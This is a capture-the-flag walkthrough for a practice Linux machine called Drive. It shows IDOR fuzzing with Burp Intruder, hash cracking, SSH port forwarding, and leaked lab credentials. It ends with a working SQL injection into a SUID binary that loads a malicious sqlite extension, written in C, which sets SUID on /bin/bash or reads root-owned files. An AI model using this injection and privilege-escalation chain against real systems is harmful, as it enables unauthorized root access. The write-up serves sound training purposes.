vandi .

The Drive machine is a box in the hard difficulty hosting a Linux OS and was released as the third machine for the Open Beta Season III, this walkthrough will be published after the machine will expire from the season. This machine requires a lot of enumeration and searching as well as some basic reverse engineering skills.

This machine is easier than you would think, it has only one way for foothold and user but has many ways to get root on it.

Scanning, Enumeration and Foothold

Let’s start with an Nmap scan for the IP :

┌──(root㉿kali)-[~]
└─# nmap -T4 -A 10.10.11.235

This scan revealed 3 ports open : 80 Http, 22 SSH, 3000 port running an application that we will talk about later.

Let’s start with the web enumeration, first you need to add the drive.htb domain to your /etc/hosts file, there no need to run dirb or gobuster to search for paths here since there is nothing hidden to be found.

We create an account on the platform and login.

The website is a google drive ripoff that works on reservation system, you can reserve a file to someone and only that person can see it, you can also let files unreserved for people to reserve for themselves, it is pretty simple but there is a very critical vulnerability in here.

We run Burpsuite and start understanding how the application works.

We jump directly to the things that are of note here, we can see that to access a file you need to go to insert the id in the link, we can fuzz this url to get hidden files that are not reserved for us.

We intercept the request and send it to Burpsuite intruder.

We add the id to the list of arguments and we setup the payload type and we set the options as follow and press start attack.

After a few minutes we can see the results of the attack, you just need to sort them by status.

200 : you have access to the file

401 : access to he file was denied

500 : there is no file

We are searching primarily for 401.

so now we have 101, 112, 79, 98 and 99, these files could contain something very useful, so let’s find a way to access them.

After much enumeration we found that the /block link could be an attack vector since it doesn’t check for the owner of the file, by using this link we could reserve files we have no access to.

We tested with the ids we found earlier and we found something.

The username and the password for the user were found in a file, we could use those to access the machine via ssh

┌──(root㉿kali)-[~]
└─# ssh martin@10.10.11.235

and look at that we got access to the machine but still no user flag :(

User Flag :

Now that we have access to the machine we need to search for interesting files.

The first interesting file we found was gitea, it is a binary for a gitea server probably hosted on the port 3000

The second set of interesting files are database backup files :

we have 4 7z files protected by passwords and a db.sqlite3, we need to download all the files we found

┌──(root㉿kali)-[~]
└─# scp martin@10.10.11.235:<filepath> /home/kali

we opened the db.sqlite3 file and tried to crack the passwords

we identified the hashes

and using hashcat we tried to crack the passwords

hashcat.exe  -m 124  -a 0 --force -O hashes.txt rockyou.txt

the only result we got was the password to Tom

sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john31

which did not work after all, so the password needs to be found in the 7z files that are protected by password, but first let’s go back to the gitea file.

if we try to test it on our kali machine

it would create a server on port 3000 and since it cannot be accessed from outside the machine we need to do some port forwarding

┌──(root㉿kali)-[~]
└─# ssh martin@10.10.11.235 -L 3000:drive.htb:3000

now you have access to the gitea website via localhost:3000

Login using martinCruz:Xk4@KjyrYv8t194L! and you would access gitea , then navigate to the only repository available and start searching inside the files for useful information.

and Bingo! we found some very useful information inside db_backup.sh

we found the password to the 7z files, after extracting them we find several sqlite databases, try to crack the hashes using the same netcat command as before.

Note : be wary of the database for december as it is sha256 and will take ages to crack so don’t crack it so just skip it, it’s just a bait.

we find several passwords for tom but only one works which is johnmayer7 so we use it to ssh into the machine.

now just ssh into the machine with tom and get that user flag

Privilege Escalation and Root :

Now for the hard part, as i said earlier there are many ways to do this one but the best way is for you to run an SQL injection on a binary, I did not try the other ways so don’t ask me about them.

First we try to enumerate for files with intersting suid and guid.

tom@drive:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

We found something here, the file doodleGrive-cli, we just now need to do some static analysis. First we are gonna run it to test what it does.

we were greeted with a login, so let’s download it to windows to analyze it using IDA-Freeware.

Now time for static analysis !

At the start we can find the password and the login on IDA

using moriarty:findMeIfY0uC@nMr.Holmz! we start testing the application,

We start analyzing each function, the only one that requires user input is the activate user account function, so we search it on IDA.

We find that this function runs an sqlite function as root of course, the command is

/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username="%s";'

we can probably do an RCE attack with this, one of the way and probably the only way in our situation is through the load_extension function in sqlite3 (resource : https://www.sqlite.org/c3ref/load_extension.html) this could be a challenge since there is also sanitization to the string inputted.

After much testing we figured that the binary removes the letters “.” and “/” from each input and has only 35 maximum characters, to bypass the first constraint we can use char() and write our text in ascii and for the second constraint we need to make our file one character long so it dosen’t take up much space.

We start by creating a C file containing the code for our command, in my case the only way to read the root flag was to run a cat the root file, I could not for some reason run a reverse shell or a root shell so i will give two versions one with a my command and one for a root shell.

So we created a file called a.c

#include <stdlib.h>
#include <unistd.h>
void sqlite3_a_init() {
    setuid(0);
    setgid(0);
    system("/usr/bin/cat /root/root.txt > /tmp/a.txt");
}

#include <stdlib.h>
#include <unistd.h>
void sqlite3_a_init() {
    setuid(0);
    setgid(0);
    system("/usr/bin/chmod +s /bin/bash");
}

you choose one of those versions.

Note : the file name should be one character and the the init function should be like this sqlite3_<filename>_init()

now we compile it

gcc -shared a.c -o a.so -nostartfiles -fPIC

now we run the binary and inject our payload

"+load_extension(char(46,47,97))+"

46 = ‘ . ’ , 47 = ‘ / ’ , 97 = ‘ a ’

and then we just cat our flag :3

And there you have it.

This I feel is a very messy way to do it, my reverse engineering skills are very limited but I managed to get the root flag anyways. If there is a way to get a root shell on this machine DM it to me.